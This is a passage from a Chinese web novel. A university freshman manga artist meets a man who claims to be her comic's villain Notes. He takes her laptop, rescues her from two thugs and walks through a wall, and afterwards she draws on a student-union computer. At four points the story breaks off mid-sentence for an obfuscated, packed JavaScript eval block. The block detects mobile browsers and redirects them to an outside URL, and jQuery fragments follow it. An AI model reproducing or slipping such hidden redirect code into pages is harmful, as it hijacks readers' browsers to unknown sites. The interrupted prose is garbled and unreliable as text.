“我爸爸妈妈还没有。”另一个说话的是一头羊毛卷的汪素文,她穿着简朴的长袖运动服,像个豆芽一样站在那,看起来十分乖巧,“他们打算在上茂市待一阵子再回去,说是要陪我一段时间熟悉环境。我说不用,但是他们还是坚持要留下。” 石玥诗从她们当中经过,回到自己的座位上,朝汪素文打趣说:“我要是有你这么可爱的女儿,我也不放手。” 另一边,莫茹大大咧咧笑了起来,“哈哈哈,是吧,我也和她说过一样的话。” 庄森芽也回到自己的位置上,面向另外三个舍友坐着,“明天就是百团大战了,你们想好要报名什么社团了吗?” 石玥诗转过身去,开始拿出工具卸妆,似乎并不打算加入这个话题。 “社团啊,我还没想好。”莫茹模样看上去有些困扰。 另一边的汪素文似乎已经有了想法,“我想加入学生会的外联部,听说这个部门和校外的店铺有许多合作,将来兼职的机会也有很多。” “我也想加入学生会,那我们明天一起去摊位吧。”庄森芽提出。 “好啊好啊。”汪素文开心地说。 几人又聊了一阵,分享了自己家带来的特产,整个宿舍的氛围其乐融融。 庄森芽记得自己也带了一些水果干过来,于是开始翻箱倒柜地从她鼓鼓囊囊的行李里寻找起来。可是行李中没有,她又把目光聚焦到了凌乱的桌面上。 她盯着自己的桌面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208417|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却一时有些发呆。 不知道为什么,总觉得哪里有些不对劲。 “……啊!”大脑缓慢地转过了弯来,她终于发现是哪里不对劲了。 听到她的叫声,宿舍几个人关心地问她怎么了。 庄森芽指着自己空空荡荡的桌面,“我的笔记本电脑不见了。” 杂乱无章的桌面明显有一块干净的空缺,而那就是之前放置笔记本电脑的位置,它不翼而飞,只剩下一堆电源线和鼠标线在那里。 “会不会是你收起来,但是忘记了?”莫茹说。 庄森芽摇摇头,“不会,我清清楚楚地记得,笔记本是摆在桌子上的。” 隔壁的石玥诗也说:“对,我也记得临走前你的笔记本的确在桌面上。” “我们回来的时候,你的桌子上就是空的……”汪素文说,眉头紧簇在一起,尽心地帮对方分析着情况,“我还特意看了一眼,因为电源线和鼠标都在,我还以为是你特意拿走了。” “会不会是进小偷了。”莫茹压低了紧绷的声音,像在说一个恐怖故事,手臂小幅度地挥舞起来,“校园对外开放,辅导员也和我们说要小心外面来的社会人士……!” 听到这里,庄森芽看了石玥诗一眼,而石玥诗也正好递来一个视线,她们两人若有所思地彼此交换目光,想必是都想起来了之前发生的事。 不会吧,难道又是那个跟踪狂偷偷摸进女生宿舍兴风作浪了? 这也太危险了,居然让他三番五次闯进女生的房间,东西被偷了倒是小事,要是他伤人怎么办? “我给辅导员打个电话,问问具体的情况。”石玥诗似乎也意识到了事情的严重性,拿起自己的手机走到阳台边上,给辅导员拨去了电话。 莫茹和汪素文的表情也有些紧张,一个可能存在的入室偷窃犯让整个宿舍人心惶惶。 而就在这个时候,不知为何,庄森芽突然想起了楼下的那个演奏者。 她本还以为在石玥诗突然回到宿舍之后,那个跟踪狂已经逃走了,但从偷窃的行为来看,他应该后来并没有离开宿舍楼。 甚至可能现在依然在宿舍楼周围徘徊。 这个可怕的想法让她脸色有点苍白,她越来越觉得楼下演奏的那个人就是自称诺特斯的跟踪狂。 尽管有点害怕,但她还是想再去确认一下,要真的是他的话,就可以直接叫人来抓住他了。 想到这里,庄森芽拿起外套和手机离开了宿舍。 “我有点事出去一趟。”她这么对自己的舍友说。 坐电梯下到了一层,外面的天色已经彻底暗了下来。 已经没有尤克里里的弹奏声了,宿舍外的绿荫街道上只有零星一两个人影。 庄森芽走出去,眺望周围的情况,刚才那个在花坛旁弹奏的人已经不见了。 就在她以为一无所获的时候,一阵微小的乐器声传进耳中,她往音源的方向看去,视野中,一个身穿长外套的男性背影正在往学校深处的方向走去。 ……是他! 5. 是小偷也是暴露狂更是个怪胎 庄森芽绝对不会看错,刚才那个演奏者就穿着这身毛呢外套。 这个危险人物果然还混迹在校园之中。 庄森芽拿出手机,给石玥诗发了一条消息,说自己找到那个擅闯女生宿舍的人了,现在她要跟踪他,她会随时同步自己的位置。 石玥诗很快回了消息过来,说让她不要跟着男人,以自己的安危为首要考量。 其实庄森芽心里也有点犯怵,但如果只是悄无声息地跟在对方后面的话,保证足够的距离,应该不会被发现。 不能让这个人在学校里胡作非为,他必须尽快被抓住。 这么想着,庄森芽跟了上去。 男人的步伐有条不紊,他的目的地似乎很明确,一路上都没有东张西望,而是笔直地朝着一栋施工中的楼宇走去。 那栋楼是一座正在建设中的宿舍楼,因为学校开学而暂时停工,假期会重新恢复施工。 男人径直走入了施工楼,背影消失在没有廊道光的建筑内。 庄森芽跟着来到楼宇前,望向黑黢黢的建筑内部,心里有点忐忑。 要继续跟进去吗?她想。 追踪到这里应该就差不多了吧,已经知道对方在施工楼里了,接下来只要等人来抓他就够了。 庄森芽抬起头看了一眼这栋施工楼,它有十几层高,电梯还没有装载,也就是说对方只有可能在一层活动。 但是一层的墙壁也还没有垒起来,男人很有可能会从其他的通道离开施工楼,要是被他跑了出去,就会丢失他的踪迹。 想到这里,庄森芽心一横,还是决定跟进去。 反正对方现在不知道自己正在跟踪他,敌在明我在暗,只要小心行事,应该不会出什么问题。 这么想着,庄森芽给石玥诗发了一条消息,告诉对方自己现在身处施工楼。收起手机后,她便沿着墙壁小心翼翼地摸进了楼栋中。 适应了黑暗之后,勉强能看清其中的结构。 一层几乎没有什么东西,只有几根承重柱立在当中,地面有一些零散的废弃物,似乎是工人们留在这里的。 她四下查看了一番,空荡的建筑中视野一览无余,但各处都没有看到男人的身影。 难道他已经离开了? 庄森芽沿着建筑的外墙一步步往内部摸索,变换着角度观察着一层内部的情况。 她来到了一扇没有玻璃的窗前,月光毫无顾忌地倾洒了进来,在地面上照出一片四四方方的亮块。 施工楼中十分安静,外面时不时传来学生走过时的脚步声。 看样子男人已经不在这里了。 紧张的心情舒缓了一些,但同时又有些沮丧,她跟丢了。 但男人无疑还在学校中游荡,校园内的监控一定能捕捉到他的踪迹,然后…… 就在她思考的时候,似乎有飞鸟掠过窗外,地面上月光投出的亮块闪动了一下。 庄森芽低头看去。 顿时,她浑身冰凉。 月光投射出的那一小块亮色地面上,有一个轮廓明显的人影。 有人正站在窗户外面,就在与她一墙之隔的地方。 庄森芽瞬间感觉血都凉了,她屏息凝神,大气也不敢出,躲在墙壁的内侧,生怕呼吸的声音让对方听见。 这时候,有什么东西出现在了她的余光里,那是一个扁平的物件,它从窗户外面探了进来。 庄森芽斜睨过去,发现那是自己的笔记本电脑。 “不拿走吗?”低沉如梦魇一般的声音从窗户外面传了进来。 顿时汗毛竖起,庄森芽差一点惊叫出声,她猛然从窗户旁边跑开,可是腿却软了,一下子扑在不远处的承重柱上。 惊恐地回过头去,看到一个男人背着月光站在窗户口,手里举着她不翼而飞的笔记本,似笑非笑地盯着仓皇逃窜的她。 是他,他出现了! 庄森芽紧张地靠在承重柱上,紧张到忘记了呼吸。 她不知道自己是怎么被发现的,明明没有制造什么响动,也尽力在阴影里隐藏自己的身形,可居然还是被对方反蹲了,难道他从一开始就知道她在跟踪他? “不来拿走吗?”男人又问了一遍,依然举着那个薄薄的笔记本。 怎么看那都是个陷阱。 庄森芽抿着唇,盯着窗户外面的男人,他们之间隔着一个窗沿,这让她有了一丝并不那么牢靠的安全感。起码男人要是有什么非分之想,想要猛冲过来的话,那个窗沿勉强还能拦住他一瞬间。 庄森芽努力使自己冷静下来,她心想,消息既然已经发给了石玥诗,她看起来那么聪慧,一定已经叫人赶过来了。这样的话,如果自己能把男人在这里拖住,那么他们就可以顺利把他抓捕起来。 想到这里,庄森芽鼓起勇气朝对方开口说:“你、你偷走我的笔记本是想干什么?” 对面的人立在窗户外面,似乎没有要跨过来的意思,他语气轻松地说:“之前不是说过吗?想请你笔下留情。你再按照原本剧情往下画,我可就命途多舛了。” 听完对方的话,庄森芽想道:这人还在把自己当成诺特斯,脑袋怕不是有点什么问题。 为了拖延时间,她抛出第二个问题,“你怎么知道我是《灵月十四》的作者?” 对方笑了一声,说不好那是一个嘲弄意义的笑容,还是他本人的声线生来就带着这样一种轻挑的音色,“是一个科学家告诉我的。” 庄森芽皱眉。科学家?怎么和科学家扯上关系了?她根本没和他们任何一个有过接触,怎么会是一个科学家知道她是《灵月十四》的作者? “干涉别人创作是不对的,诺特斯是个反派,他的结局已经注定了。”庄森芽试图和对方讲道理。 对面的人叹了口气,肩膀耸动,一副难办的样子,“下午找你的时候,虽然说是和你商量商量漫画的事,但那只是个委婉的说法,我并没有在真的征求你的意见。” 男人说这段话的时候,声音压得越来越低,一缕精光从他的眼中划过,周围的空气仿佛都骤缩了。 庄森芽感觉到一股危险 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208418|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的气息扑面而来,身体里的细胞全都在叫嚷着快逃。 他看到男人一只手撑在窗沿上,似乎有要翻身过窗的意图。 庄森芽拔腿就要跑,然而视野一晃,她突然发现自己的去路被堵上了。 不知道什么时候,施工楼里出现了额外的人影。一个高壮的男人从入口走了进来,带着不怀好意的笑容在往她所在的位置逼近。 她当即往另一个出口看去,却惊惧地发现,另一边也有一个人影在包抄过来。 她被三面包围了。 这些人是谁?不像是学生,看那横行霸道的走路风格,也不像是老师。 难道都是趁开学混进来的校外人员?居然还是团队作案。 糟糕,真的很糟糕,她现在的处境可以说非常危险。 她瞪着窗外那个拄着窗框、仿佛在看好戏的异国男人,朝他质问道:“你们是一伙的?” “……嗯?”对方发出困惑的声音,紧接着邪魅笑起来,露出他尖锐的虎牙,“这个误会可真够大的……还请你别把我和这些下三滥混为一谈,小姐。” 这时候,突然出现在施工楼内的高壮男子已经逼近到了庄森芽的身侧,将她左右夹击。其中一个人撑着承重柱,弯下腰来,调笑着对她说:“小美人,这么晚了还在外面闲逛啊。” 他伸手要搂庄森涯的肩,但被她拧了一下躲开了。 “你们是什么人?”她瞪着眼睛问。 “和哥哥出去喝两杯呗?”另一个男人凑上来说。 “让开,我要回宿舍。”庄森芽想要绕开他们往外走,可是去路又被高大的男人堵上了。 “欸,别拒绝得那么快嘛。”对方不依不饶地逼迫上来。 “让开!”她瞪大了眼睛,气势汹汹地再次重复。 “呦,脸蛋长得挺甜,脾气却挺大。”说着,男人从口袋里掏出了一把水果刀,虚握在手里,比霍了一下。 看到凶器,庄森芽一下子怂了,迫不得已,只得退回了承重柱旁边。 怎么办……现在大声呼救有用吗?可是已经月黑风高了,这栋施工楼外根本没有多少人经过。拿出手机求救的话,绝对会被对方看出目的抢走,直接冲出去又肯定会被抓住。 她内心不由哀嚎,最近怎么总是遇上这种事啊? “需要帮忙吗?” 这时候,一个声音问他。 庄森芽朝发声者望过去,只见那个自称诺特斯的男人不知道什么时候翻过了窗沿,就站在另外两个心怀不轨之人的背后。 他向庄森芽提出一个问题,然而另外两个歹徒却好像完全没有听见他说话似的,依然是用看猎物的眼神专注地盯着庄森芽。 “别害怕,就只是喝点酒聊聊天。”一个人说。 “小美女刚上大学,应该也没什么朋友吧?”另一个同伙说。 几人之间的空间愈发狭小,庄森芽只觉得自己快呼吸不上来了,周围是一股糜烂的毒气。 “看样子是需要帮忙。”外围的异国男人自言自语似的说。 6. 起疑 他从背后靠近包围着庄森芽的两个校外人员,抬起双手,像是乐队的指挥官一般,手掌与另外两个男人的后脑接触。 庄森芽不知道他做了什么,只见眼前两个高壮的歹徒一瞬间同时翻了一个白眼,然后突然像断线的木偶一样,一下子倒在了地上。 “!”她惊讶地看着眼前的这一切,混乱的脑海里完全想不明白发生了什么。 “你还真是心大,被人尾随了都不知道。”那自称是诺特斯的男人捧着庄森芽的笔记本,一手插兜,颇有余韵地说道。 庄森芽看了看地上两个昏迷不醒的人,又抬眼看了一眼对面的异国男人。 他……他做了什么? 就在她困惑的时候,施工楼外传来了一阵嘈杂,几把手电筒的光亮照了进来,有人在外面喊着“就是这里”。 “又被打断了啊。”不远处的男人嘀咕道。 庄森芽紧盯着对面的人,看到他往后退去,又抬起手里的笔记本晃了晃,“作为救你的谢礼,这个我就先收下了。” 他退到了窗沿旁边,似乎有要从那里离开的打算。庄森芽后知后觉反应过来,不能就这么让他逃跑。他虽然刚才替她解围,但是闯入女生宿舍和偷走笔记本的人也都是他,不能放任他继续在校园里游荡,弄不准他还会做出什么事情来。 “你等等,不许跑!”庄森芽不知道哪来的勇气,就这么追了上去。 月光之下,男人笑望着她。 他依然在往后退,背后是半人高的窗沿。 但他似乎没有抬腿的打算。 下一刻,庄森芽亲眼看到他的身体穿透了石做的墙壁,就这么退到了窗户的另一边。 她一下愣在了原地,傻眼了。 怎么……回事。 他穿过去了? 她眨了好几次眼睛,不敢相信自己眼前看到的一切。 窗外的男人朝她微微鞠了一躬,“好梦。” 他往侧边走去,身影一下子消失在了墙壁后面。 庄森芽反应过来,追了上去,扒在窗户口往外面张望。 ……人不见了。 “到底是怎么回事?”她震惊地嘀咕,心情因为刚才目睹的一幕而无法平复。 “森芽!”有人在背后叫她。 庄森芽转过头去,看到石玥诗跑了过来,她身后跟着几个校警,还有辅导员的身影。 石玥诗来到近前,扶住庄森芽的胳膊,目光担忧地盯着她,“你给我发完你在施工楼的消息之后,我就联系了辅导员叫人过来了。你……没事吧?” 庄森芽木讷地摇了摇头,脑海里还充斥着刚才亲眼见到的那一幕。 校警们把地上的两个男人包围了起来,辅导员朝他们问道:“是这两个人吗” 其中一个校警对比了一番歹徒的脸和手机上的相片,“是,就是这两个人一直在校园内徘徊。” 辅导员长纾了一口气,走到庄森芽的身边,搂住她的肩膀,安慰似的晃了晃,对明显不在状态的庄森芽说:“没事了,没事了,人已经抓住了。” “森芽,放心,不会再有事了。”似乎是看她仍然是一脸惊魂未定的模样,石玥诗也在一旁说道。 “……嗯。”庄森芽简短地回应。 校警检查了一番歹徒的后脑,提出疑问,“是谁把他们打晕的?” 听到校警的问话,庄森芽回想起了异国男人替她解围的那一幕。她张口想说,还有一个人。但不知为何,话出口却变成了:“我来的时候……他们就已经是这样了。” 她隐瞒了那个男人的存在。 明明不久之前还想拦住他,不让他逃跑。 之所以这样,只因为男人最后的表现实在是太诡异了,身体居然能穿透墙壁,庄森芽怀疑他只是自己脑海里的幻影,说出来别人只会当她精神出了什么问题。 不过转念一想,她的笔记本的确是丢了,而且眼前这两个穷凶恶极的歹徒也的确没有知觉地倒在地上。 这一切都代表那个男人曾经来过。 太超出常理了,她想。 但与此同时,内心深处有一把锁契合了起来。 那个人说自己是诺特斯。 她一开始并不相信。 可如果他不是诺特斯的话,要怎么解释他拥有和诺特斯如此相仿的能力? 庄森芽作为《灵月十四》的作者,比谁都清楚那个大反派拥有怎么样的实力。他可以隐身,并且隐身状态下不受物理规则限制,两个BUG级别的能力让他成为了十分棘手的人物,主人公和主角团面对他屡战屡败,这也是为什么他是整个漫画的最终Boss。 不会吧?庄森芽心想。不会真的是诺特斯吧? 诺特斯怎么可能出现在她所在的世界里。 究竟是她疯了,还是这个世界疯了? “这两个人我们先带走了,监控录像上虽然只看到了他们的身影,但不能保证只有这两个,最近还是让学生们多加留意一些。”其中一个校警对辅导员说。 “好的,我们会找时间给学生们上安全课程、嘱咐他们多多小心的。”辅导员说。 那之后,他们离开了施工楼。 庄森芽有些浑浑噩噩地走在石玥诗的身边。石玥诗扶着她的一条胳膊,似是为了不打扰有些魂不守舍的她,而没有对她说些什么。 终于回到了宿舍,庄森芽没有和其他人对话,而是径直钻到了自己的床上,拉起帘子,躲进被窝,脑海里还在一遍遍回放着施工楼里的景象。 舍友有些担心她的状态,小声的关怀从下方传了上来。 “她还好吗……?”是汪素文的声音。 “让她一个人待着好好睡一觉吧,她受到了惊吓。”石玥诗低声说。 然而庄森芽根本睡不着。 手机屏幕亮了起来,荧光照亮了她的脸。 她打开网页,搜索‘漫画中的人走了出来’。 界面返回给了她一堆结果,有真人Cosplay漫画人物的页面,有异想天开的电影解说,但就是没有什么有帮助的内容。 她撂下手机,揉了揉自己的太阳穴。 那个人到底是不是真的诺特斯?还是因为她最近赶稿太累而出现的幻觉? 如果是幻觉,那她可能真的要去精神病医院看看自己的脑子了。 今晚是注定要失眠了。 宿舍灯已经关了,舍友都睡去了,但她仍然睁着眼睛,脑海里的思绪停不下来。 有关那个诺特斯的思考源源不绝,可是一直也得不出什么实际的结论。她索性不想了,与其继续想他的事,还不如想想将来怎么办。 那家伙把她的电脑偷走了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208419|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可她还有一堆稿没有画完,马上漫画平台上的‘手速王’活动就要结束了,但她的进度才完成了一半,本来是打算今天晚上熬夜的,可是连画画的设备都没了。 这都是什么事啊? 好在那人没把她的手绘板一起拿走,不然她可真的一穷二白了。 怎么想,接下来的当务之急是想办法搞一台电脑。 老妈已经把这个月的生活费打进卡里了,但是她并不想花那笔钱,家里的经济情况现在不太好,她想尽量省吃俭用。 之前画漫画积攒的存款并没有几个钱,买一台性能稍微好一点的笔记本还是有点吃力,而且被偷走的那个笔记本是她上大学之前新买的,还没用几天呢就摸不着了,一想到还要新买一个她就愤愤不平。 感觉去向那个男人要回自己的电脑也有点不切实际,她根本不知道怎么找到对方,而且她现在也有点惧怕和对方接触。就算报警的话……说有一个可以穿墙而过的男人闯进女生宿舍偷走了她的笔记本,她真的怕别人把她当成精神病。 难道要借别人的电脑用吗?可是,画漫画不是借一两个小时就能结束的,别人的电脑也要用来学习打游戏或者追剧,恐怕不会有人能分出时间来借她,而且就算她借用别人的电脑,又被那个男人给偷走了怎么办?那样还得再赔人家一台电脑。 思来想去,只剩一个办法了。 那就是借用学校机房的电脑过渡,然后再想办法解决那个诺特斯的问题——如果他真的是诺特斯,而不是她疯了的话…… 想到对策之后,突然之间她就不失眠了,翻了个身就进入了梦乡。 第二天一清早,她就给学生会主席裴佑哲发了一条信息,向他请教,自己加入什么社团可以比较自由地使用电脑室。 之前她在学校的宣传指南上得知上茂哈里森大学有许多机房,不过那一般都是为学生上课准备的,她不知道像自己这种有特殊需求的人可不可以使用那里的电脑。 发这条信息之前,庄森芽纠结了大概有五分钟,因为从她个人的角度来讲,她和裴佑哲的关系多少有点尴尬,但她印象里,对方是一个只要有人需要他他就会帮忙的人,而且不计回报。她想,像他那么宽宏大量的人,一定不会计较他们之间一点点别扭的过往。 她以为裴佑哲要过个十几分钟几十分钟才会回消息,然而仅仅是一分多钟过去,庄森芽的手机就收到了回信。 「机房一般只对相关专业课的学生开放,刷卡才能进入。」裴佑哲打字给她说,「而且电脑系统基本都是为了上专业课而定制的,想用它做别的基本不行。」 看到对方发的这条消息,庄森芽的心凉了。 不过,紧接着裴佑哲又发来了新的一条信息。 「如果你是想用公共电脑的话,学生会倒是有一间带电脑的活动室,就是一般只有晚上和清早才空得出来。」 看到这句话,庄森芽的心里重新燃起了希望,她打字给对方说:「活动室能借给我用吗,佑哲学长?我不会占用活动时间的。」 「当然可以。」对方的消息回得很快,「还有,后面可以不用叫我学长,听起来多陌生。叫我的名字就好。」 只叫名字? 庄森芽在心里嘀咕了一声,“佑哲”,不知为何,突然起了一身鸡皮疙瘩。 听着好奇怪。 7. 百团大战 「哈哈,好的。」她糊弄了过去。 得知有电脑可以使用,庄森芽这才放下心来,她已经下定了决心今天晚上就要去活动室待一整晚,把昨天欠下的稿赶紧画完。 此刻,她不由得庆幸之前的绘画进度都备份到了移动硬盘里,不至于说电脑丢了就损失了所有的资料。现在只要给她一台能用的电脑,她就可以继续画下去。 完美,这点难题根本难不倒她。 庄森芽一个挺身从床上坐起来,问题解决,她只觉得顿时容光焕发。 尽管昨天大半宿都没睡,可她依然很精神,洗脸刷牙又打扮了一番自己之后,就和舍友汪素文一起来到了活动广场上。 今天是百团大战的第一天,所有的社团全都出来摆摊了。人声鼎沸之中,一个个精致又极具个性的摊位展示着各个社团的特色,一本本介绍手册传递到新生的手中,高年级的学长学姐们热情地招揽着每个潜在的同伴,无人机在空中腾飞着,记录着这盛大一日的序幕。 她和汪素文两人来到了学生会的摊位,摊位很火爆,已经排起了长队,有许多新生在等着报名。 轮到她们的时候,两人依次加了招聘负责人的联系方式,然后往报名表上签字留信息。 摊位上有三个人,其中一个染了浅黄色头发的男生悠哉悠哉地闭眼靠在椅子上,翘着个二郎腿,一身潮人的打扮,既不接待排队的新生也不管事。 当汪素文低头签字的时候,对面那个黄发的男生睁开眼睛看了她一眼,而后目光落在庄森芽的身上。下一瞬间,他顿时像个金毛犬一样瞪圆了眼睛,倏一下起身凑了过来。 “你是庄森芽吧?”他盯着她说。 庄森芽被他吓了一跳,愣愣地点了点头。 浅黄发的男生握住庄森芽的手,大力挥了两下,“你好你好,我叫费洛,是学生会外联部的形象大使。” 对方的热情让庄森芽有点不知道该作何反应,只好说道:“你好……” “果然和佑哲说的一样,你的造型很奇特欸。”他说。 听到这句话,庄森芽反应了过来,对方应该是通过裴佑哲知道自己的。 “怎么样?有兴趣明天来学生会的摊位摆摊吗?”这个名叫费洛的学生会外联部成员说。 “……啊?我摆摊?”庄森芽指着自己。 这时候,旁边一个学生会成员给了费洛一胳膊肘,“你的工作就这么甩给新生?怎么这么好意思。” 费洛揉了揉自己被攻击的大臂,有些委屈地说:“老哥,我的黄毛太常见了,还是她的白发比较引人注目,不是说要改善学生会在学生之间的印象吗?我觉得她来站岗比我更有说服力。” “人家还没加入学生会呢,你就使唤起来了。”旁边的学生会成员奚落费洛说。 “我听说佑哲已经内定你了。”费洛凑上前来,在庄森芽的眼前小声说道,“你要是愿意来的话,我就把原来属于我的活动内容挂在你的名下,能涨学分的哟。” 涨学分?庄森芽的耳朵立了起来。 她当即没什么出息地应了下来,“好的,我明天就来。” 费洛露出一个开朗的笑容,这和他一身潮男的打扮有些冲突,“好嘞!不用那么早,你下午来就行。” “这个,我写好了。”汪素文把报名表递了过去。 费洛刚好离得近,接了过来,“汪素文是吧,指定报名外联部?那将来要是有机会就能一起共事了。” 汪素文点点头,认真回答说:“我会努力的,学长。” 对面一头黄发的潮人眨眨眼,盯着眼前穿着简朴运动服的汪素文,不知道在想什么,半晌才回了句,“啊……好。” 离开学生会的摊位之后,庄森芽又去报名了绘画社,然后和汪素文一起参加了许多小活动,拿到了数不清的纪念奖章和小奖品,而后在黄昏的时候满载而归。 百团大战首日即将落幕,学生们该吃饭的吃饭,该归巢的归巢。 但庄森芽没有回到宿舍,她向裴佑哲索要了学生会活动室的位置,带着自己的手绘板和移动硬盘匆匆赶了过去。 活动室里没有人,她打开了灯,果然在一个角落发现了一个台式机。台式机没有密码,她很顺利地就打开了它。 插上移动硬盘,下载绘画软件,接上手绘板,安装好驱动,她回顾了一番之前的绘画进度,很快就投入到了创作中去。 「主人公带人攻入反派的核心工厂,展开了一场殊死较量,双方均负重伤……」 她把剧情脉络写在一边,然后开始顺着往下画情节。 活动室里很安静,临近夜晚,几乎没有学生在这片区域活动。 她伏案许久,再抬头时,已经过了凌晨两点了。 庄森芽抻了个懒腰,起来在活动室走了一圈,感觉自己的灵感有点枯竭,她知道这是时间到了,不能再画下去,再往下画也只会画出来一坨屎。 于是去自动贩卖机给自己买了一罐咖啡,坐回电脑前面,随便地翻一翻社交平台转换一下心情。 翻着翻着,她开始走神了。 一旦不再专注,脑袋就会挤满那个诺特斯的事情。 她放弃继续在社交平台里放松心情,转而找到了《灵月十四》最初的设定文档,开始仔细地翻阅起来。 她找到了那个人的基本资料。 诺特斯,姓氏不详,《灵月十四》的最终反派,拥有一百三十多家候鸟山工厂,霸占着莱王星的所有石剑醇资源,是星球上人民生活苦不堪言的罪魁祸首。 经常神出鬼没,可以隐身,隐身状态下不受物理法则限制,通过与他人身体重叠后,发动‘侵占’能力取人性命,是他的拿手把戏。 性格恶劣,喜欢把对手玩弄于鼓掌之中,有‘杀手绅士’之称,外表看起来英俊得体,被他接近的人往往会掉以轻心。 庄森芽表情凝重地看着这些文字。 那个出现在她的世界里的诺特斯,完全符合这些描述。 怎么会有这种事…… 咚咚。 活动室中响起了诡异的声音,庄森芽顿时起了一身鸡皮疙瘩,立刻往声音传来的方向看去。 咚咚,窗户来回开合着,夜晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208420|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的风吹得很急。 原来是窗户没有关好。庄森芽一颗心这才落回了胃里。 不过这么一闹,她也不敢独自一人在这个空旷的活动室呆下去了。连忙收拾好了自己的东西,拔掉硬盘,关掉电脑,离开了活动室,狂奔回了206宿舍楼。 开学前几周门禁还不是很严,她和一群同样晚归的学生一起被宿管阿姨放了进去。 第二日,百团大战依然在继续,热度不减。 昨天答应了那个黄头发的学生会外联部形象大使费洛今天去摆摊,于是庄森芽二度来到了活动广场上,找到了学生会的摊位。那里依然有许多人在排队,不知道为什么,看上去甚至比昨天的人还多。 她走上前,却看到费洛不见了,另外两个摆摊的学生会成员还是昨天的面孔,而取代费洛的是一个对庄森芽来说更为熟悉的面容。 那是学生会主席裴佑哲。 他在为眼前的新生介绍学生会的职能,脸上挂着标志性的浅笑,动作十分有条理地为学生分发宣讲手册和递上报名表,不管有多少个人一起凑上来问他问题,他都能一一很好地解答,简直可以说是眼观六路耳听八方。 庄森芽立在旁边,百忙之中的裴佑哲看了她一眼,嘴上依然在对面前的新生说话,但左手轻轻地给她比了一个过来的手势。 于是她走了过去,到近前的时候,裴佑哲一边和新生说话,一边把自己身后的椅子拉给了庄森芽,那个意思是让她坐在这里。 庄森芽坐在那把椅子上,盯着裴佑哲忙碌但井井有条的背影,心中不由佩服起来。 好厉害,这就是学生会主席吗?一张嘴两只手到底是限制了他,他要是像八爪鱼一样,甚至不需要额外的人打下手,一个人就能把这个摊位承包了。 不过,难怪今天来排队的人这么多,居然是主席亲自来摊位上坐镇,她以为这种有头有脸的大人物都不会来干这种费力不讨好的力气活呢。 裴佑哲在摊位前忙碌了一阵子,而后借喝水的空档退到了后面来。他一侧身,和庄森芽对上了视线,又是露出了一个百看不厌的笑容来,“费洛和我说你今天会来接替他的位置,我还以为他是在开玩笑,没想到你真的来了。” “因为答应费洛学长了嘛。”庄森芽说,没有人会拒绝能涨学分的活动,“需要我做什么吗,佑哲学长?” 裴佑哲拧紧了矿泉水瓶,在另一边的椅子上坐下来,微微朝庄森芽的方向倾身,“你叫我什么?” 庄森芽一愣,“啊,不是,我是说……佑哲。” “佑哲学长。”这时候,摊位前有新生呼唤着他,前来报名学生会的学妹脸上是一副束手无策的模样,“报名表已经写满了……” 一旁的学生会成员凑上去,“给,这有张新表。” 朝裴佑哲搭话却被另外一个人打断,那个新生看起来有些失落,她拿来空白的报名表在上面写名字的时候,还时不时偷偷朝裴佑哲的方向扫视。 “我和朋友说两句话,辛苦你们顶替我一阵子。”裴佑哲对摊位前两个学生会成员说。 “好的老大。” 8. 突然的负伤者 裴佑哲伸手从地上的纸盒里掏出来一瓶矿泉水,使力拧开又微微拧紧,递给庄森芽,问她,“新学校适应得怎么样?” “挺好的。”庄森芽接过矿泉水瓶,不怎么费力就打开了,她斜看了一眼几乎是水泄不通的报名摊位,低声向裴佑哲问道,“那个,佑哲学……我是不是应该去前面帮忙?” “不用,你今天的任务就是坐在这里。” “这样好吗?” “当然了,费洛的工作内容就是这样。你是来接替他的职责的,也像他一样坐在这里就好。” 与此同时,摊位前又有人向裴佑哲搭话,还是刚才那个说报名表写满了的女生,她声音不知为何变得嗲嗲的,眉毛无助地耷拉着,“佑哲学长,我不知道该选什么部门……你看我适合什么部门呀?” 